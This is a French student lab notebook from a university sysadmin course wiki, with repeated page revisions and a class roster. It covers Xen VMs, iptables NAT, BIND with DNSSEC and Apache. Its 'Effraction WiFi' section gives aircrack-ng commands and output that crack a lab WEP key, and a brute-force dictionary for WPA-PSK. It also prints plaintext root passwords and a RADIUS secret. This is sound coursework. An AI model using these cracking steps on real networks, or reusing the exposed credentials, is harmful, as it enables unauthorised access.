''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

Atelier SysRes SE4 2025/2026 E5

2026-02-10T15:25:53Z

Cpayet : /* Sécurisation WiFi par WPA2-EAP */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',
'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'
]
</syntaxhighlight>

===== Sur la machine mandataire =====

Nous ajoutons les partitions dans '''''/etc/fstab''''' : <syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Nous formatons les partitions avant de les utiliser : <syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Nous copions le contenu de '''/var''' : <syntaxhighlight lang="shell">
mount /dev/xvda3 /mnt
mv /var/* /mnt
umount /mnt
</syntaxhighlight>

Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : <syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

===== De nouveaux sur capbreton =====
On redémarre notre machine : <syntaxhighlight lang="shell">
xen create /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Ensuite on se connecte à notre VM via :<syntaxhighlight lang="shell">
xen console SE4.CachyOS
</syntaxhighlight>

===== Machines de Service - CachyOS & Manjaro =====
Dans notre VM :

On modifie :<syntaxhighlight lang="shell">
vim /etc/network/interfaces
</syntaxhighlight>
Et on ajoute ceci :<syntaxhighlight lang="shell">
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.10.3/24
gateway 192.168.10.1

# Pour l'ipv6
auto eth1
iface eth1 inet6 auto

</syntaxhighlight>

* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS

===== Machine Mandataire - LinusTorvalds =====
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :

La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.

Sur capbreton, depuis <code>/etc/xen/SE4.CachyOS.cfg :</code><syntaxhighlight lang="shell">
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']
</syntaxhighlight>Pour l'adresse mac on prend celui existant et on fait +1.

Depuis <code>/etc/resolv.conf </code>:<syntaxhighlight lang="shell">
nameserver 8.8.8.8

</syntaxhighlight>

==== SSH 476 ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.3 ====
<syntaxhighlight lang="shell">
apt update
apt upgrade

apt install ssh
apt install bind9
apt install apache2
</syntaxhighlight>(Dans TOUTES les VMs)

On active le SSH en ajoutant dans <code>/etc/ssh/sshd_config</code> :<syntaxhighlight lang="shell">
PermitRootLogin yes
</syntaxhighlight>Pour redemarrer le service ssh :<syntaxhighlight lang="shell">
/etc/init.d/ssh restart
</syntaxhighlight>Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :<syntaxhighlight lang="shell">
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24
</syntaxhighlight>

==== Mascarade ====
Sur la mandataire : <syntaxhighlight lang="shell">
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22
iptables-save

</syntaxhighlight>Et on décommente cette ligne dans <code>/etc/sysctl.conf</code> : <syntaxhighlight lang="shell">
net.ipv4.ip_forward=1
</syntaxhighlight>Et maintenant nous pouvons nous connecter à notre machine de service en ssh : <syntaxhighlight lang="shell">
#IPV4
ssh root@193.48.57.166 -p 2202
# IPV6
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed
</syntaxhighlight>

==== DNS ====
Tout d'abord, il faut modifier <code>/etc/bind/named.conf.local</code> : <syntaxhighlight lang="shell">
zone "archlinuxbtw.lol" {
type master;
file "/etc/bind/myZones/db.archlinuxbtw.lol";
allow-transfer{secondaries;};
notify yes;
};

acl "secondaries"{
192.168.10.2;
2001:660:4401:60a0:216:3eff:fe36:79d9;
};

zone "archlinux.lol" {
type secondary;
file "/etc/bind/backup/db.archlinux.lol";
primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};
};

</syntaxhighlight>J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :<syntaxhighlight lang="shell">
$TTL 400

@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (
3609 ; Numero de version
21600 ; Rafraichissement (6h)
3600 ; Re-tentative (1h)
2592000 ; Expiration (30j)
86400 ; Cache negatif (24h)
);

IN NS ns.archlinuxbtw.lol.
IN NS ns.archlinux.lol.
@ IN A 193.48.57.166
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed
ns IN A 193.48.57.166
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8b:45ed

www IN CNAME archlinuxbtw.lol

</syntaxhighlight>Ensuite on restart le service via : <code>service named restart</code>

Création d'une clé<syntaxhighlight lang="shell">
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr
</syntaxhighlight>
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]
Notre DNS est bien reconnu et la commande <code>dig @8.8.8.8 archlinuxbtw.lol</code> c'est grâce au Glue records.

Génération des clés

Changement nom machine <code>nano /etc/hostname : CachyOS</code>

Et dans /etc/hosts:

127.0.1.1 archlinuxbtw.lol SE4.CachyOS

==== DNSSEC ====
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : <code>"dnspol"</code>
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :<syntaxhighlight lang="shell">
mkdir /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 750 /etc/bind/keys
</syntaxhighlight>Pour ce faire, dans <code>named.conf.local</code> il faut rajouter les 3 lignes à partir de "key-directory" :<syntaxhighlight lang="shell">
key-directory "/etc/bind/keys";
dnssec-policy "dnspol"; // DNSSEC automatique
inline-signing yes;

[...]

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

</syntaxhighlight>Pour l'activer, il faut restart bind9 avec <code>systemctl restart bind9</code>

Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : <nowiki>https://dnsviz.net</nowiki>
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]

Et on peut voir que nos clefs on bien été générer : <syntaxhighlight lang="shell">
root@CachyOS:/etc/bind# ls keys/
Karchlinuxbtw.lol.+013+24458.key Karchlinuxbtw.lol.+013+56682.key
Karchlinuxbtw.lol.+013+24458.private Karchlinuxbtw.lol.+013+56682.private
Karchlinuxbtw.lol.+013+24458.state Karchlinuxbtw.lol.+013+56682.state

</syntaxhighlight>

==== Apache ====
Dans ce repertoire <code>/etc/apache2/sites-availab</code>le : touch archlinuxbtw.lol.conf

Je genere un crt via la commande :

openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb

tw.lol.key -out archlinuxbtw.lol.crt

Et je deplace mes fichiers dans :

root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/

root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/

root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key

Pour arreter le service par defaut : a2dissite 000-default.conf

Et on verifie avec la commande : apache2ctl -S

Iptable pour atteindres les ports https : <code># HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save</code>

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT

iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT
==== Effraction WiFi ====

===== Cassage WEP =====
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas.

Avec ip link je vois que l'interface wifi se nomme <code>wlx40a5ef0f679b</code>.

On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 :

<code>sudo airodump-ng wlx40a5ef0f679b</code>

Je recupere :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>04:DA:D2:9C:50:54 -63 27 5 0 4 54e. WEP WEP cracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :

<code>sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4</code>

Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :

<code>aircrack-ng airodump-01.cap</code><syntaxhighlight lang="shell">
Aircrack-ng 1.7

[00:26:11] Tested 835 keys (got 68980 IVs)
Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.
KB depth byte(vote)
0 0/ 13 FF(97024) A3(79616) D9(79360) C5(78848) 3A(78592) E3(78592) 29(78336) D1(78336) E9(78080) 7C(77568) DF(77568) 34(76800) 85(76800) D8(76544) 24(76032)
1 0/ 1 CA(108544) CB(80128) B5(79104) EB(78336) 10(77824) A8(77312) E5(76800) F8(76800) E7(76544) EE(76544) 27(76288) 4C(76288) 68(76288) CC(76288) E6(76288)
2 2/ 2 A4(80128) 3A(78336) 14(76800) 5A(76544) D2(76544) 98(76032) 08(75776) 1D(75776) 40(75776) 99(75776) E4(75776) F2(75776) CD(75520) F7(75520) 56(75008)
3 0/ 1 D1(100608) 89(79872) 22(77568) 11(77056) A0(77056) 9E(76800) B0(76800) 98(76544) A9(76544) 5A(76032) AB(76032) CD(76032) 9A(75776) 4D(75520) 51(75264)
4 7/ 4 43(77312) 4E(76800) 0F(76544) 29(76544) BA(76544) 3E(76032) 61(75776) A6(75776) C6(75776) 89(75264) 21(75008) 5A(75008) 65(75008) C8(75008) DD(75008)

KEY FOUND! [ FF:FF:FF:FF:FA:BC:06:CB:AE:EE:EE:EE:EE ]
Decrypted correctly: 100%

</syntaxhighlight>

===== Cassage WPA-PKS =====
Ce script python permet de creer un dictionnaire :<syntaxhighlight lang="python">
with open("dictionnaire_8_chiffres.txt", "w") as f:
for i in range(100000000): # Pour générer des nombres de 00000000 à 99999999
f.write(f"{i:08d}\n") # Écrit le nombre avec 8 chiffres

</syntaxhighlight>ou alors avec crunch :

<code>crunch 8 8 0123456789 -o dictionnaire_8_chiffres.txt</code>

Ensuite après execution nous pouvons recuperer le fichier .txt créer.

On récuperer le dump comme precedemment pour cette borne pour mon cas :

<code>BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</code>

<code>44:AD:D9:5F:87:04 -43 3 5 2 13 54e. WPA2 CCMP PSK kracotte05</code>

Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande :<code>sudo airodump-ng wlx40a5ef0f679b --write airodumpWPA --bssid 44:AD:D9:5F:87:04 -c13</code>

Et ensuite après avoir récuperer 1 data minimum :

<code>aircrack-ng airodump-01.cap</code>

==== Sécurisation WiFi par WPA2-EAP ====
Depuis notre machine de service on va se connecter sur notre borne wifi, ici on prend l'IP de la E304 :

<code>ssh -oKexAlgorithms=+diffie-hellman-group11-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4</code>

<syntaxhighlight lang="bash">
aaa new-model
aaa authentication login eap_student5 group radius_student5
radius-server host 192.168.10.3 auth-port 1812 acct-port 1813 key secret_student5
aaa group server radius radius_student5
server 192.168.10.3 auth-port 1812 acct-port 1813
exit

dot11 ssid VM_SERVICES_5
vlan 15
authentication open eap eap_student5
authentication network-eap eap_student5
authentication key-management wpa
mbssid guest-mode
exit

interface Dot11Radio0
encryption vlan 15 mode ciphers aes-ccm
exit

interface Dot11Radio0.15
encapsulation dot1Q 15
bridge-group 15
exit

interface GigabitEthernet0.15
encapsulation dot1Q 15
bridge-group 15
exit

</syntaxhighlight>

=== Utiles ===

=== XEN ===
''Liste des VMs allumées :'' <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

''Se connecter à la VM :''<syntaxhighlight lang="shell">
xen console <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds
''Sortir de la console xen :''<syntaxhighlight lang="shell">
Ctrl + Shift + 5
</syntaxhighlight>''Eteindre une VM :'' <syntaxhighlight lang="shell">
xen shutdown <nomMachine>
</syntaxhighlight>nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds

''Allumer une VM :''<syntaxhighlight lang="shell">
xen create /etc/xen/<nomMachine>.cfg
</syntaxhighlight>

SE4 IdO sécurité système/réseau 2025/2026

2026-02-10T15:20:13Z

Cpayet : /* Plan d'adressage */

= Répartition des binômes pour les travaux pratiques "administration système et réseau" =

Préfixe des noms de machine : <code>SE4</code>.

Domaines Internet à louer sur [[gandi.net]]. Identifiant <code>pifou</code>. Regardez le montant prévu sur le compte avant de louer un domaine.

{| class="wikitable"
! Cahier !! Elève !! Nom de domaine
! Nom de machine de services !! Nom de machine mandataire
|-
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde
|-
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff
|-
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds
|-
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage
|-
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0
|-
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar
|-
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman
|-
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice
|-
|}

{| class="wikitable"
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves
|-
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI & Agathe HOUDUSSE
|-
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI & Marin GOURVEST
|-
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET & Thomas DELOBELLE
|-
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI & Yassine YAHIANI
|-
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE & Tom MERIEN
|-
| SE4.superman|| 193.48.57.169|| Billel Cheklat & Antonin Biernacki
|-
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse & GAUTHIER Mario Sylainx S.
|-
| SE4.Solstice|| <code>193.48.57.167</code>|| Mohamed Salhi
|-
|}

= Tableau des commutateurs virtuels =

{| class="wikitable"
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé
|-
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24
|-
|PAYET / DELOBELLE
|pont_pacman
|192.168.10.0/24
|-
|MERIEN / VANGHELUWE
|pont_pere
|192.168.0.0/24
|-
|CHEKLAT / BIERNACKI
|pont_ironman
|192.168.69.0/24
|-
|SALHI
|pont_msalhi
|192.168.20.0/24
|-
|GOURVEST/GHAZALI
|pont_diviseur
|192.168.67.0/24
|-
|YAHIANI / TEPELI
|pontclio
|192.168.7.0/24
|-
|GAUTHIER / SOUOP METSE
|pont_rock
|192.168.50.0/24
|}

= Tableau des réseaux virtuels =

VLAN privés :

{| class="wikitable"
! Nom !! Numéro
|-
| VLAN1 || 1
|-
| MV-PROMO || 2
|-
|E1-Pierre
|11
|-
|E2-Agathe
|12
|-
|E5-Cedric
|15
|-
|E6-Thomas
|16
|-
|E9-Aurele
|19
|-
|E15-MSalhi
|25
|}

VLAN communs avec l'école :

{| class="wikitable"
! Nom !! Numéro
|-
| INTERCO1 || 530
|-
|}

= Schéma de câblage =

Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.

Le plan doit donc comporter, pour chaque connexion, les locaux d'origine et de destination ainsi que l'identifiant des ports d'origine et de destination.

= Plan d'adressage =

{| class="wikitable"
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6
|-
| MV-PROMO || <code>193.48.57.160/27</code> || </code>2001:660:4401:60a0::/64</code>
|-
| PoolPierre || <code>10.60.1.0/24</code> || </code>2001:660:4401:60a1::/64</code>
|-
| PoolAgathe || <code>10.60.2.0/24</code> || </code>2001:660:4401:60a2::/64</code>
|-
|PoolCédric
|<code>10.60.5.0/24</code>
|2001:660:4401:60a5::/64
|-
|PoolThomas
|<code>10.60.6.0/24</code>
|2001:660:4401:60a6::/64
|-
|}

Adresses IPv4 des éléments réseau dans VLAN1

{| class="wikitable"
! Elément !! Adresse
|-
| Routeur C9200-E304 || 172.27.0.1/16
|-
| Routeur C9200-E306 || 172.27.0.2/16
|-
| Borne Wi-Fi E306 || 172.27.0.3/16
|-
| Borne Wi-Fi E304 || 172.27.0.4/16
|-
|}

= Informations VRRP =

Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l'unique IPv4 virtuelle.

== VLAN des machines virtuelles ==

Une seule instance VRRP dans le VLAN des machines virtuelles.

Adresse IPv4 virtuelle : <code>193.48.57.162</code>

{| class="wikitable"
! Routeur !! IPv4 propre
|-
| C9200 E304 || <code>193.48.57.163</code>
|-
| C9200 E306 || <code>193.48.57.164</code>
|-
|}

== VLAN ... ==

Atelier SysRes SE4 2025/2026 E5

2026-02-10T15:13:54Z

Cpayet : /* Effraction WiFi */

=== Compte rendu des commandes effectués ===

==== Etape 1 : Connexion SSH ====
ssh root@capbreton

Mot de passe :

==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====
On se déplace à ce répertoire :<syntaxhighlight lang="shell">
cd /etc/network/interfaces.d/
</syntaxhighlight>On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :<syntaxhighlight lang="shell">
touch SE42026_cpayet_tdelobel
vim SE42026_cpayet_tdelobel

</syntaxhighlight>Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :<syntaxhighlight lang="shell">
auto pont_pacman
iface pont_pacman inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>Une fois le pont créer, il faut le démarrer :<syntaxhighlight lang="shell">
ifup pont_pacman
</syntaxhighlight>

==== Etape 3 : Création des VMs ====
<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.CachyOS --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.Manjaro --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
xen-create-image --hostname=SE4.LinusTorvalds --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force
</syntaxhighlight>On adapte les hostnames en fonction des nom de nos machines.

'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.

===== Nos résultats : =====
CachyOS : <syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.CachyOS
Distribution : daedalus
MAC Address : 00:16:3E:8B:45:EC
IP Address(es) : dynamic
SSH Fingerprint : SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)
SSH Fingerprint : SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)
SSH Fingerprint : SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)
SSH Fingerprint : SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)
Root Password : 6nyCiterydiMtnxsPDRsUys

</syntaxhighlight>Manjaro : <syntaxhighlight lang="shell">

Installation Summary
---------------------
Hostname : SE4.Manjaro
Distribution : daedalus
MAC Address : 00:16:3E:36:79:D8
IP Address(es) : dynamic
SSH Fingerprint : SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)
SSH Fingerprint : SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)
SSH Fingerprint : SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)
SSH Fingerprint : SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)
Root Password : PgvMbhYvgtksg8tmiJnVZnQ
</syntaxhighlight>LinusTorvalds :<syntaxhighlight lang="shell">
Installation Summary
---------------------
Hostname : SE4.LinusTorvalds
Distribution : daedalus
MAC Address : 00:16:3E:AA:BF:EF
IP Address(es) : dynamic
SSH Fingerprint : SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)
SSH Fingerprint : SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)
SSH Fingerprint : SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)
SSH Fingerprint : SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)
Root Password : ekrmCSKb3ZAxXSYvNpjbiSK
</syntaxhighlight>

==== Etape 4 : ====
PHRASE MANQUANTE<syntaxhighlight lang="shell">
xen create /etc/xen/SE4.Manjaro.cfg
xen create /etc/xen/SE4.CachyOS.cfg
xen create /etc/xen/SE4.LinusTorvalds.cfg
</syntaxhighlight>On vérifie la liste des machines lancées via : <syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

===== Nos résultats : =====
<syntaxhighlight lang="shell">
Name ID Mem VCPUs State Time(s)
SE4.CachyOS 83 2048 1 -b---- 5.6
SE4.Manjaro 85 2048 1 -b---- 5.8
SE4.LinusTorvalds 87 2048 1 -b---- 5.3
</syntaxhighlight>

==== Etape 5 : Partition ====

===== Sur capbreton =====

On partionne avec cette commande :<syntaxhighlight lang="shell">
lvcreate -n SE4.CachyOS.var -L 10G virtual
</syntaxhighlight>
On éteint notre machine : <syntaxhighlight lang="shell">
xen shutdown SE4.CachyOS
</syntaxhighlight>
Et on modifie :<syntaxhighlight lang="shell">
vim /etc/xen/SE4.CachyOS.cfg
</syntaxhighlight>

Et on ajoute ceci :<syntaxhighlight lang="shell">
disk = [
[...],
